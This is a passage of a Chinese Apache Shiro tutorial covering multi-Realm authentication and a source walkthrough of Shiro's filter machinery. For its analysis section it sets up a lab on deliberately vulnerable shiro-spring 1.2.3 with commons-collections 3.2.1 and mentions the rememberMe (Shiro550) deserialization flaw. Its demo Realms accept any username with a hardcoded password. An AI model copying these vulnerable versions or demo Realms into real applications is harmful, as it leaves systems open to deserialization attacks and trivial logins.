     * perms 必须具备具体的权限才可以进行访问
     * logout 退出登录
     */
    hashMap.put("/login", "anon"); // login 支持匿名访问
    hashMap.put("/static/**", "anon"); // static 下的内容随便访问
    hashMap.put("/logout", "logout"); // 访问则退出登录
    hashMap.put("/kFind", "authc, perms[sys:k:find]"); // 当前用户已登录, 并且存在 sys:k:find 权限才允许访问
    shiroFilterFactoryBean.setFilterChainDefinitionMap(hashMap);
    shiroFilterFactoryBean.setLoginUrl("/login");
    shiroFilterFactoryBean.setUnauthorizedUrl("/");
    return shiroFilterFactoryBean;
}

假设我们SESSION默认设置为1000毫秒就失效, 也就是1秒后就失效.

那么这个案例, 当我们wangwu登录后 (勾选记住我), 主页面是可以进行访问的 (因为设置了记住我), 但是功能模块却访问不了 (因为设置了已认证). 如图:

image-20241011214324971.png

多 Realm 配置

对于多 Realm 配置也好理解, 参考下图即可:

image-20241012102525409.png

对于第一种业务场景: 当我们的用户表分布在两个不同的数据库时, 我们可以将两个数据库的信息封装到Realm中, 随后当token请求过来时, SecurityManager会从MySQL&&Oracle中拿到数据, 对token进行比对. 我们称这种方式为: 链式配置.

对于第二种业务场景: 用户登录时, 指明登录的类型, 如果是User类型, 那么就会采用UserRealm, 去用户表中拿数据进行比对. 如果是Manager类型, 那么就会采用ManagerRealm, 去管理员表中拿数据进行比对. 我们称这种方式为: 分支配置.

这两种不同的业务场景, 都是多Realm配置所实现的功能.

链式配置

为了更好的清楚它们之间的关系, 我们需要创建一个新的项目, 以便清楚的知道它们之间的关系:

pom.xml:

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId> <!-- 引入 parent -->
    <version>2.5.3</version>
</parent>

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-thymeleaf</artifactId> <!-- 从 parent 中引 thymeleaf -->
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId> <!-- 从 parent 中引 web -->
    </dependency>
    <dependency> <!-- 导入 shiro-spring, 会自动引入 shiro-core, shiro-web -->
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.4.1</version>
    </dependency>
    <dependency> <!-- 引入 shiro 标签依赖 -->
        <groupId>com.github.theborakompanioni</groupId>
        <artifactId>thymeleaf-extras-shiro</artifactId>
        <version>2.1.0</version>
    </dependency>
    <dependency>
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
    </dependency>
</dependencies>

随后定义com.heihu577.config.ShiroAutoConfiguration:

@Configuration
public class ShiroAutoConfiguration {
    @Bean
    public ManagerRealm managerRealm() { // 定义一个 ManagerRealm
        return new ManagerRealm();
    }

    @Bean
    public UserRealm userRealm() { // 定义一个 UserRealm
        return new UserRealm();
    }

    @Bean
    public DefaultWebSecurityManager securityManager() {
        DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
        Collection<Realm> realms = new LinkedList<>();
        realms.add(userRealm());
        realms.add(managerRealm());
        defaultWebSecurityManager.setRealms(realms); // 将 UserRealm ManagerRealm 同时放到 SecurityManager 中
        return defaultWebSecurityManager;
    }

    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
        shiroFilterFactoryBean.setSecurityManager(securityManager());
        LinkedHashMap<String, String> linkedHashMap = new LinkedHashMap<>();
        linkedHashMap.put("/", "authc"); // 主页需要登录才能访问
        linkedHashMap.put("/index", "authc"); // 主页需要登录才能访问

        linkedHashMap.put("/static/**", "anon"); // 静态资源随意访问
        linkedHashMap.put("/login", "anon"); // 登录界面随意访问

        shiroFilterFactoryBean.setFilterChainDefinitionMap(linkedHashMap); // 将路由配置设置到 ShiroFilter 中
        shiroFilterFactoryBean.setLoginUrl("/login"); // 未登录默认跳转到 /login 中
        shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未授权默认跳转到 /login
        return shiroFilterFactoryBean;
    }
}

随后定义UserRealm && ManagerRealm, 内容如下:

@Slf4j
public class UserRealm extends AuthorizingRealm {
    @Override
    public String getName() {
        return "UserRealm";
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }

    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        log.info("UserRealm::doGetAuthenticationInfo 认证...");

        AuthenticationInfo authenticationInfo =
                new SimpleAuthenticationInfo(upToken.getUsername(), "123456", getName()); // 如果密码是 123456 那么 UserRealm 登录成功
        return authenticationInfo;
    }
}

可以看到, UserRealm这里提供的数据信息, 不管账号是多少, 只要密码是123456即可登录成功, 定义ManagerRealm定义如下:

@Slf4j
public class ManagerRealm extends AuthorizingRealm {
    @Override
    public String getName() {
        return "ManagerRealm";
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }

    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        log.info("ManagerRealm::doGetAuthenticationInfo 认证...");

        AuthenticationInfo authenticationInfo =
                new SimpleAuthenticationInfo(upToken.getUsername(), "654321", getName()); // 如果密码是 654321 那么 ManagerRealm 登录成功
        return authenticationInfo;
    }
}

如果密码是654321, 那么ManagerRealm即可登录成功. 配置两个比较简单的Realm进行测试.

随后我们定义PageController:

@Controller
public class PageController {
    @RequestMapping({"/", "/index"})
    public String index() {
        // 返回 index 主页面
        /* resources/templates/index.html 文件内容如下:
            <!DOCTYPE html>
            <html lang="en">
            <head>
                <meta charset="UTF-8">
                <title>个人主页</title>
            </head>
            <body>
                <h3>Hello World!</h3>
            </body>
            </html>
        */
        return "index";
    }

    @GetMapping("/login")
    public String login() {
        /* resources/templates/login.html 文件内容如下:
            <!DOCTYPE html>
            <html lang="en">
            <head>
                <meta charset="UTF-8">
                <title>Title</title>
            </head>
            <body>
                   <form action="#" method="post">
                        <!-- 对 /login 发送 POST 登录请求 -->
                        user: <input type="text" name="username"><br>
                        pass: <input type="password" name="password"><br>
                        type: <input type="radio" value="User" name="loginType"> 普通用户
                              <input type="radio" value="Manager" name="loginType"> 管理员
                        <br>
                        <input type="submit" value="login">
                   </form>
            </body>
            </html>
        */
        return "login"; // 若是 get 形式访问, 那么直接返回 登陆表单 界面
    }
}

当然也少不了SpringBoot主程序:

@SpringBootApplication
public class MainApp {
    public static void main(String[] args) {
        ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class);
    }
}

最终使用admin 111111进行登录, 控制台输出如下:

2024-10-12 12:31:43.353  INFO 21884 --- [p-nio-80-exec-6] com.heihu577.config.realm.UserRealm      : UserRealm::doGetAuthenticationInfo 认证...
2024-10-12 12:31:43.353  INFO 21884 --- [p-nio-80-exec-6] com.heihu577.config.realm.ManagerRealm   : ManagerRealm::doGetAuthenticationInfo 认证...
2024-10-12 14:08:46.558 ERROR 21884 --- [p-nio-80-exec-7] com.heihu577.controller.UserController   : 登录失败!

可以看到, UserRealm && ManagerRealm都进行了账号密码的认证处理,

源码分析

下面我们通过源代码的形式, 看一下底层做了什么.

image-20241012155019026.png

将过程梳理如下:

image-20241012155050906.png

我们可以看到的是, token最终传递到ModularRealmAuthenticator::doAuthenticate方法中, 若我们在该方法中增加如下判断, 即可实现分支配置:

image-20241012160913980.png

但是问题是, 图中的loginType我们从哪里进行获取呢?AuthenticationToken这个参数默认是UsernamePasswordToken, 这个里面只能封装用户名和密码信息, 并不能封装登陆类型信息, 所以在这里我们需要自定义token. 那么整体实现该功能流程如下:

image-20241012161930310.png

分支配置

含义很简单, 我们需要如下情况:

image-20241012164223556.png

我们的自定义Realm已经完成, 所以在这里我们需要自定义Authenticator以及自定义Token, 那么我们先来自定义Token:

public class MyToken extends UsernamePasswordToken {
    private String loginType;

    public MyToken(String username, String password, String loginType) {
        super(username, password);
        this.loginType = loginType; // 在 UsernamePasswordToken 原有基础上新增一个 loginType 属性
    }

    public String getLoginType() {
        return this.loginType;
    }

    public void setLoginType(String loginType) {
        this.loginType = loginType;
    }
}

由于Token最终传递到ModularRealmAuthenticator::doAuthenticate方法中, 所以在这里我们需要一个子类, 来继承ModularRealmAuthenticator类, 并重写doAuthenticate方法:

public class MyAuthenticator extends ModularRealmAuthenticator {
    @Override
    protected AuthenticationInfo doAuthenticate(AuthenticationToken authenticationToken) throws AuthenticationException {
        Collection<Realm> realms = getRealms();

        Collection<Realm> myRealm = new ArrayList<>();
        MyToken myToken = (MyToken) authenticationToken; // 拿到 myToken
        String loginType = myToken.getLoginType();

        for (Realm realm : realms) { // 对所有 Realm 进行遍历
            // 当前的 Realm 只可能是 ManagerRealm && UserRealm, 而这两个 Realm 我们都重写了 getName 方法.
            if (realm.getName().startsWith(loginType)) {
                // 在这里我们就可以通过这两个 getName, 来对外部 HTTP 请求来的参数值进行判断
                myRealm.add(realm); // 满足条件, 那么直接将我们的 realm 添加进去
            }
        }

        if (myRealm.size() == 1) { // ModularRealmAuthenticator 类中是对 realms 做判断, 而我们这里对 myRealm 做判断
            return doSingleRealmAuthentication(myRealm.iterator().next(), authenticationToken);
        } else {
            return doMultiRealmAuthentication(myRealm, authenticationToken);
        }
    }
}

定义完自定义Authenticator后, 我们需要将其设置到SecurityManager中, 如下:

public MyAuthenticator getMyAuthenticator() {
    return new MyAuthenticator();
}

@Bean
public DefaultWebSecurityManager securityManager() {
    DefaultWebSecurityManager defaultWebSecurityManager = new DefaultWebSecurityManager();
    defaultWebSecurityManager.setAuthenticator(getMyAuthenticator()); // 将我们的自定义 authenticator 设置进去
    Collection<Realm> realms = new LinkedList<>();
    realms.add(userRealm()); // 自定义 Realm
    realms.add(managerRealm()); // 自定义 Realm
    defaultWebSecurityManager.setRealms(realms);
    return defaultWebSecurityManager;
}

最后我们修改UserController中的登录逻辑如下:

public class UserController {
    @PostMapping("/login")
    public String login(String username, String password, String loginType) {
        // 若是 POST 形式访问, 那么接收前台发送过来的账号密码信息, 使用 Subject 进行登录认证
        Subject subject = SecurityUtils.getSubject();
        try {
            MyToken myToken = new MyToken(username, password, loginType); // 使用自定义 token
            subject.login(myToken);
            return "index"; // 登录成功跳转到主页
        } catch (Exception e) {
            log.error("登录失败!");
            return "login"; // 登录失败跳转到登录页
        }
    }
}

如果使用普通用户登录, 控制台输出:

2024-10-12 16:57:08.850  INFO 19188 --- [p-nio-80-exec-2] com.heihu577.config.realm.UserRealm      : UserRealm::doGetAuthenticationInfo 认证...

如果使用管理员用户登录, 控制台输出:

2024-10-12 16:59:18.027  INFO 19188 --- [p-nio-80-exec-6] com.heihu577.config.realm.ManagerRealm   : ManagerRealm::doGetAuthenticationInfo 认证...

Shiro 底层分析

基础环境搭建 - SpringBoot

和上面我们学习 Shiro 使用的步骤一样, 在这里我们会启动一个干净的环境.

pom.xml:

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId> <!-- 引入 spring-boot-starter-parent -->
    <version>2.5.3</version>
</parent>

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId> <!-- 引入 web 模块 -->
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-thymeleaf</artifactId> <!-- 引入 thymeleaf 模块 -->
    </dependency>
    <dependency>
        <groupId>com.github.theborakompanioni</groupId>
        <artifactId>thymeleaf-extras-shiro</artifactId> <!-- 引入 shiro 标签 -->
        <version>2.1.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId> <!-- 引入存在漏洞版本的 shiro -->
        <version>1.2.3</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
        <version>3.2.1</version>
    </dependency>
</dependencies>

引入完毕后, 紧接着我们准备我们的ShiroAutoConfiguration:

@Configuration
public class ShiroAutoConfiguration {
    @Bean
    public MyRealm getMyRealm() {
        return new MyRealm(); // 用于实现, 账号任意, 密码heihu577登录成功的机制
    }

    @Bean
    public ShiroDialect shiroDialect() {
        return new ShiroDialect(); // 用于支持 shiro 标签的使用
    }

    @Bean
    public CookieRememberMeManager getRememberMeManager() { // 支持 RememberMe, 并设置 Cookie
        CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
        SimpleCookie simpleCookie = new SimpleCookie("rememberMe"); // 让服务器检查 rememberMe 键, 这里必须设置
        simpleCookie.setMaxAge(60); // 60 秒后过期
        cookieRememberMeManager.setCookie(simpleCookie);
        return cookieRememberMeManager;
    }

    @Bean
    public DefaultWebSecurityManager getSecurityManager() {
        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
        securityManager.setRealm(getMyRealm()); // 设置为自定义 Realm, 进行校验
        securityManager.setRememberMeManager(getRememberMeManager()); // 设置 RememberMe 控制器, 用于支持 RememberMe 功能
        return securityManager;
    }

    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
        shiroFilterFactoryBean.setSecurityManager(getSecurityManager()); // 设置安全管理器

        HashMap<String, String> filterChainDefinitionMap = new HashMap<>(); // 准备过滤好需过滤的 URL
        filterChainDefinitionMap.put("/", "user"); // 设置为记住我可访问, 如果不是记住我的状态, 后面会跳转到登录页面
        filterChainDefinitionMap.put("/index", "user"); // 设置为记住我可访问, 如果不是记住我的状态, 后面会跳转到登录页面
        filterChainDefinitionMap.put("/**", "authc"); // 其他所有页面必须已认证才可以访问
        filterChainDefinitionMap.put("/login", "anon"); // 登陆页面, 所有人可访问
        filterChainDefinitionMap.put("/user/login", "anon"); // 登录处理口, 所有人可访问
        shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);

        shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
        shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
        return shiroFilterFactoryBean;
    }
}

当然了, 这里我们也需要引入我们的自定义Realm:

public class MyRealm extends AuthorizingRealm {
    @Override
    public String getName() {
        return "MyRealm";
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
        return null; // 授权过程暂且不实现
    }

    @Override // 认证时所调用的方法
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
        UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
        String username = token.getUsername();
        // 用户名任意, 密码为 heihu577 则登录成功
        return new SimpleAuthenticationInfo(username, "heihu577", this.getName());
    }
}

其自定义Realm的实现很简单, 我们只重写了doGetAuthenticationInfo认证方法, 让其账户名任意, 密码只要是heihu577就可以登录成功.

定义所需要的控制器:

// 专门应用于页面的控制器
@Controller
public class PageController {
    @GetMapping("/login")
    public String login() {
        return "login";
        /*
            resources/templates/login.html 定义如下:
            <!DOCTYPE html>
            <html lang="en">
            <head>
                <meta charset="UTF-8">
                <title>用户登录</title>
                <base href="/">
            </head>
            <body>
                <form action="user/login" method="post"> <!-- 这里发送的控制器请求在 UserController 进行接收 -->
                    u: <input type="text" name="username"><br>
                    p: <input type="password" name="password"><br>
                    rememberMe: <input type="radio" name="rememberMe"><br>
                    <input value="登录" type="submit">
                </form>
            </body>
            </html>
        */
    }
    @RequestMapping({"/", "/index"})
    public String index() {
        return "index";
        /*
            resources/templates/index.html 定义如下:
            <!DOCTYPE html>
            <html lang="en"xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
            <head>
                <meta charset="UTF-8">
                <title>主页面</title>
            </head>
            <body>
                <!-- 打印出当前用户名 -->
                <h3>Hello User: <shiro:principal/></h3>
            </body>
            </html>
        */
    }
}
// 登录处理请求的控制器
@Controller
@RequestMapping("/user")
public class UserController {
    @PostMapping("/login")
    public String login(String username, String password, boolean rememberMe) {
        Subject subject = SecurityUtils.getSubject();
        UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
        usernamePasswordToken.setRememberMe(rememberMe); // rememberMe 的设置根据前端表格请求来决定.
        try {
            subject.login(usernamePasswordToken); // login 中有 序列化 | 反序列化操作
            System.out.println("--------登陆成功!");
            return "index"; // 登录成功跳转到主页面
        } catch (AuthenticationException e) {
            System.out.println("--------登陆失败!");
            return "login"; // 登录失败跳转到登录表单
        }
    }
}

定义完毕后, 我们定义MainApp进行SpringBoot的启动:

@SpringBootApplication
public class MainApp {
    public static void main(String[] args) {
        ConfigurableApplicationContext ioc = SpringApplication.run(MainApp.class);
    }
}

ShiroFilterFactoryBean 工作原理

在我们之前的配置所了解到, ShiroFilterFactoryBean是用来配置一个Filter过滤器的, 但是为什么只要定义ShiroFilterFactoryBean这么一个Filter, 那么就会自动注入到SpringBoot容器中?它的工作原理是怎么样的?

为了思路清晰, 所以我们需要研究SpringBoot底层是如何自动创建Filter的, 笔者在这里准备建立一个新项目, 其中准备MyAutoConfiguration, 配置如下:

@Configuration
public class MyAutoConfiguration {
    @Bean
    public FilterRegistrationBean filter01() {
        FilterRegistrationBean filterRegistrationBean = new FilterRegistrationBean();
        filterRegistrationBean.setFilter((request, response, chain) -> { // 使用 lambda 表达式
            System.out.println("filter01...");
            chain.doFilter(request, response);
        });
        filterRegistrationBean.addUrlPatterns("/*"); // 指明路径
        filterRegistrationBean.addUrlPatterns("/filter01"); // 指明路径, 多加一个过滤器进行匹配
        return filterRegistrationBean;
    }

    @Bean
    public Filter filter02() { // 没指明路径
        return (request, response, chain) -> {
            System.out.println("filter02...");
            chain.doFilter(request, response);
        };
    }
}

这两个filter很简单:

filter01这个Bean是通过SpringBoot官方API提供的FilterRegistrationBean进行注入Filter. 并且这里指明了该Filter过滤的路径为: /*与/filter01.

filter02这个Bean是通过创建一个Filter的Bean来指明一个Filter, 该Filter并没有定义过滤路径.

下面我们正常访问主页面看一下执行效果:

image-20241014121940830.png

我们可以看到的是, filter01 && filter02都已经成功注入到了SpringBoot容器中, 并访问/filter01之后, 这两个filter都响应到了.

那么我们接下来会想, filter02并没有配置UrlPatterns, 而他注入到SpringBoot容器中的UrlPatterns又是什么呢?

SpringBoot 注入 filter 原理

在我们之前的SpringBoot基础中有提到, SpringBoot底层会创建一个Tomcat容器, 其中Tomcat容器的调用链如下:

2024-06-06_152422-1.jpg

这张图说明了SpringBoot创建Tomcat容器并Spring创建Bean的整个过程, 在图中我们可以看到ServletWebServerApplicationContext::onRefresh方法会创建Tomcat并启动, 过程如下:

image-20241014141511053.png

在ServletWebServerApplicationContext::createWebServer方法中, 会对Tomcat进行启动操作, 但是通过上图我们可以看到, factory.getWebServer(getSelfInitializer())这个方法会将ServletWebServerApplicationContext:selfInitialize方法当作第一个参数调用进去中, 我们并不需要关心什么时候调用到该方法的, 因为对于容器的初始化工作会走到这里.

getServletContextInitializerBeans 方法分析

下面我们来看一下红框圈住的getServletContextInitializerBeans方法做了什么:

protected Collection<ServletContextInitializer> getServletContextInitializerBeans() {
    return new ServletContextInitializerBeans(getBeanFactory());
}

这个方法返回了Collection<ServletContextInitializer>实例可以看到, ServletContextInitializerBeans是返回值, 那么该返回值一定是Collection实例, 我们看一下ServletContextInitializerBeans类的关系图:

image-20241014153628465.png

实现了Collection接口, 那么我们看一下这个类的构造方法做了什么:

image-20241014155728685.png

最终会对initializers这个LinkedMultiValueMap进行增加键值操作, LinkedMultiValueMap是由Spring提供的Map, 我们看一下LinkedMultiValueMap是什么样的:

LinkedMultiValueMap<String, String> linkedMultiValueMap = new LinkedMultiValueMap<>();
linkedMultiValueMap.add("key1", "test01");
linkedMultiValueMap.add("key1", "test02");
linkedMultiValueMap.add("key2", "test03");
System.out.println(linkedMultiValueMap); // {key1=[test01, test02], key2=[test03]}

与常规Map不同的是, 该Map存储类型是{键1=ArrayList,键2=ArrayList...}这样的, 那么我们看一下最终这个initializers的数据结构是什么样的:

image-20241014160610001.png

那么接下来分析一下addAdaptableBeans方法做了什么.

image-20241014162844597.png

可以从图中看到, 最终将当前容器所有的实例化Filter的Bean, 封装为了FilterRegistrationBean, 仍然加入到了initializers这个成员属性中去, 那么当前的initializers属性结果如下:

image-20241014163159127.png

其中我们的filter01, filter02成功的加入到了该成员属性中去! 而在每一次对ServletContextInitializerBeans实例进行遍历时, 就会调用到iterator()方法, 该方法定义如下:

image-20241014163848152.png

到现在我们终于理解了, 为什么filter02仅仅只返回了一个Filter, 却可以直接的注入到我们的SpringBoot容器中去, 原来一个普通的Filter会被FilterRegistrationBeanAdapter进行创建成一个FilterRegistrationBean! 当然现在还没有开始注入, 真正的注入点还是回到我们之前的遍历点.

注入机制

image-20241014165301330.png

终于把getServletContextInitializerBeans方法分析完毕了, 而我们知道, FilterRegistrationBean是ServletContextInitializer的子类, 而调用它的onStartUp过程如下:

image-20241014170426104.png

可以从图中直观的看到我们增加Filter的完整调用流程了, 只不过还有一个问题, 我们的filter02是没有配置匹配路径的, 下面我们来看一下configure方法对路径的处理:

protected void configure(D registration) {
    registration.setAsyncSupported(this.asyncSupported);
    if (!this.initParameters.isEmpty()) {
        registration.setInitParameters(this.initParameters); // 设置 InitParameter 参数
    }
}

@Override
protected void configure(FilterRegistration.Dynamic registration) {
    super.configure(registration);
    // ... 其他代码
    if (servletNames.isEmpty() && this.urlPatterns.isEmpty()) {
        // 当 servletName 没有配置, urlPatterns 没有配置, 则会设置为默认的路径配置
        // private static final String[] DEFAULT_URL_MAPPINGS = { "/*" };
        registration.addMappingForUrlPatterns(dispatcherTypes, this.matchAfter, DEFAULT_URL_MAPPINGS);
    }
    // ... 其他代码
}

如果当前Filter并没有给具体的路径的话, 就会给出默认的/*, 至此, 整个Filter注入机制梳理清晰.

ShiroFilterFactoryBean 机制

回到我们的环境中, 我们来看一下ShiroFilterFactoryBean的类结构.

image-20241014171550833.png

可以看到的是, ShiroFilterFactoryBean一共实现了两个Spring的接口, 分别是FactoryBean && BeanPostProcessor, 这两个接口相信大家也不陌生, FactoryBean是工厂类, 而BeanPostProcessor是后置处理器.

基础部分参考: https://mp.weixin.qq.com/s/bCL9M4a5VD0lWNWiuzWX8Q

FactoryBean::getObject 得到了什么

当Spring扫描所有Bean时, 如果发现该Bean是属于FactoryBean, 那么就会调用该FactoryBean的getObject方法, 而ShiroFilterFactoryBean::getObject方法中定义的方法如下:

public Object getObject() throws Exception {
    if (instance == null) {
        instance = createInstance(); // 调用 createInstance 方法
    }
    return instance;
}

protected AbstractShiroFilter createInstance() throws Exception {
    SecurityManager securityManager = getSecurityManager();
    if (securityManager == null) {
        String msg = "SecurityManager property must be set.";
        throw new BeanInitializationException(msg);
    }
    if (!(securityManager instanceof WebSecurityManager)) {
        String msg = "The security manager does not implement the WebSecurityManager interface.";
        throw new BeanInitializationException(msg);
    }
    FilterChainManager manager = createFilterChainManager();
    PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
    chainResolver.setFilterChainManager(manager);
    return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver); // 最终返回 SpringShiroFilter 实例
}

private static final class SpringShiroFilter extends AbstractShiroFilter {
    protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
        super();
        if (webSecurityManager == null) {
            throw new IllegalArgumentException("WebSecurityManager property cannot be null.");
        }
        setSecurityManager(webSecurityManager);
        if (resolver != null) {
            setFilterChainResolver(resolver);
        }
    }
}

而我们打开SpringShiroFilter类图, 我们就可以看到, 该类是一个Filter:

image-20241014172819884.png

那么, 该 Filter 会注入到我们的 WEB 容器中. 并且路径匹配为 /*.

OncePerRequestFilter

OncePerRequestFilter这个Filter是SpringBoot提供的, 它确保了在一次完整的HTTP请求中, 无论请求经过多少次内部转发, 过滤器的逻辑都只会被执行一次. 笔者在这里定义如下:

@Component // 让 SpringBoot 扫描到
@WebFilter(urlPatterns = "/*") // 定义是一个 Filter, 并且定义 url 解析规则
public class MyFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        System.out.println("Filter");
        filterChain.doFilter(request, response);
    }
}

随后我们随机访问, 即可在控制台中输出Filter, 在这里笔者就不贴图了. 而我们的SpringShiroFilter也是继承于OncePerRequestFilter, 所以当每次请求过来时, 会调用AbstractShiroFilter::doFilterInternal方法.

SpringShiroFilter 运行原理分析

那么下面我们开始分析SpringShiroFilter到底做了什么事, 从我们最开始的Shiro配置代码段开始:

image-20241014192113535.png

可以看到的是, 我们的配置信息代码段, 只不过是对该类进行了一系列设置, 设置之后, 由于该类是工厂类 (FactoryBean), 所以会调用该类的getObject方法.

功能总结: 从配置文件中进行配置 ShiroFilterFactoryBean, 只是在对 ShiroFilterFactoryBean 的属性做赋值处理.

getObject 核心逻辑
FilterChainManager::DefaultFilterChainManager

image-20241014194426754.png

功能总结:

DefaultFilterChainManager 维护了两个属性: filters, filterChains

filters: 是 Shiro 本身就存在的 Filter 数组, 记载权限与对应Filter的关系, 例如: anon 对应了 AnonymouseFilter

如类名一样, DefaultFilterChainManager::filters成员属性放置了Shiro自带的权限校验的Filter. 一共有11个Filter在其中. 那么我们继续往下观察.

image-20241014195409875.png

接下来这个applyGlobalPropertiesIfNecessary方法做的事情, 则是将刚才11个Shiro提供的默认Filter进行遍历. 判断这11个Filter中, 是否是AccessControlFilter, AuthenticationFilter, AuthorizationFilter的实例, 如果是的话, 那么将ShiroFilterFactoryBean::对应属性设置到具体Filter中去.

而ShiroFilterFactoryBean::对应属性在我们的ShiroAutoConfiguration配置文件中, 是由程序员自己设置的, 我们在刚开始也讲过了.

遍历 filters, 设置特殊 filter 中的属性值为程序员在配置类中定义的值.

例如:

shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面

shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面

会设置到 AuthorizationFilter, AccessControlFilter 中去.

那么我们接着往下看:

image-20241014203719485.png

乍一看感觉流程很复杂, 但其实我们将其梳理简单的话是这样的:

{("/","user"),("/index","user"),("/**","authc"),("/login","anon"),("/user/login","anon")} 
这是当前已经配置好的 Map, 通过 Value 值, 找到对应的 Filter, 例如: user 对应了 UserFilter, /** 对应了 userFilter...

最终生成如下 Map, 作为 filterChain 的属性:

{("/", SimpleNamedFilterList[UserFilter]), ("/index",[UserFilter]),("/**",[FormAuthenticationFilter])...}

处理 filterChains, filterChains 是由如下配置生成出来的

filterChainDefinitionMap.put("/", "user");

...

FilterChainResolver::PathMatchingFilterChainResolver

代码再继续运行, 我们则会看到FilterChainResolver的身影:

image-20241015091245433.png

目前我们知道的是, PathMatchingFilterChainResolver只是将FilterChainManager设置进去了, 这里并没有调用其他方法, 随后丢给了new SpringShiroFilter, 目前我们还不知道PathMatchingFilterChainResolver具体是用来干嘛的, 先不管, 后面看程序是否调用到某个方法时, 我们再进行研究.

new SpringShiroFilter

最后就走到SpringShiroFilter这个构造函数了, 分别传递了WebSecurityManager以及FilterChainResolver, 下面我们看一下做了一些什么操作:

image-20241015092034089.png

这个Filter最终设置了程序员定义的WebSecurityManager以及在createInstance()方法中生成的FilterChainResolver. 虽然目前我们还不知道FilterChainResolver做了什么.

doFilterInternal 核心逻辑

因为SpringShiroFilter是一个Filter, 并且实现了OncePerRequestFilter, 所以每次HTTP请求过来时, 会调用doFilterInternal方法, 现在我们看一下这个方法做了什么:

封装 request, response

image-20241015094035233.png

这里只是对 request, response 进行了简单的封装, 封装为ShiroHttpServletRequest, ShiroHttpServletResponse, 读到这里暂时还没有发现对这两种方法上有什么扩展, 暂时先不管. 不过这两个封装的类类图如下:

image-20241015094622298.png

可以看到, 都实现了HttpServletRequest, HttpServletResponse.

createSubject::SubjectContext

下面我们首先分析一下WebSubject.Builder方法做了什么事情:

image-20241015102851850.png

我们可以看到的是, WebSubject.Builder这个类, 维护了subjectContext && securityManager, securityManager从刚开始我们已经介绍过了, 重点是这个SubjectContext.

SubjectContext是一个大的Map, 这个Map中包含了SecurityManager, ShiroServletRequest, ShiroServletResponse, 它的关系图如下:

image-20241015103216265.png

我们可以看到的是, 它将本次请求的request, response, 以及我们重要的securityManager进行封装了. 那么下面我们看一下WebSubject.Builder::buildWebSubject方法做了什么:

image-20241015115047321.png

可以看到的是, 当一次请求过来, 如果当前请求存在 SESSION, 那么会将当前的 SESSION 放入到 SubjectContext 这个 Map 中进行管理.

我们可以清晰的感觉到, SubjectContext 中存储了当前 HTTP 请求的各种状态.

image-20241015152147897.png

这里我们可以看到, 首先判断SESSION, 如果SESSION中存在用户名信息, 那么就直接返回, 如果SESSION不存在, 或者SESSION中没有用户名信息, 那么就会通过RememberMe组件进行反序列化得到当前用户信息, 这里存在一个Shiro550的一个漏洞, 先留下悬念, 漏洞后面我们再分析.

通过这几行代码, 我们可以清楚的感受到, SubjectContext 这个 Map 中存放着当前 HTTP 请求中的所有状态, 以及我们的 SecurityManager.

image-20241015153342817.png

下面 save 方法仅仅只是对 subject 进行校验, 在这里就不再说明了, 因为整个createSubject方法是对subject的处理. subject 中包含了当前状态的信息, 知道这些, 已经足够了.

subject.execute

WebDelegatingSubject, 是 createSubject 的返回结果, 那么我们看一下该类图:

image-20241015154557818.png

那么我们接着看代码:

image-20241015160718771.png

可以看到, SubjectCallable类似于一个代理类, 它将外部的

new Callable() {
    public Object call() throws Exception {
        updateSessionLastAccessTime(request, response);
        executeChain(request, response, chain);
        return null;
    }
}

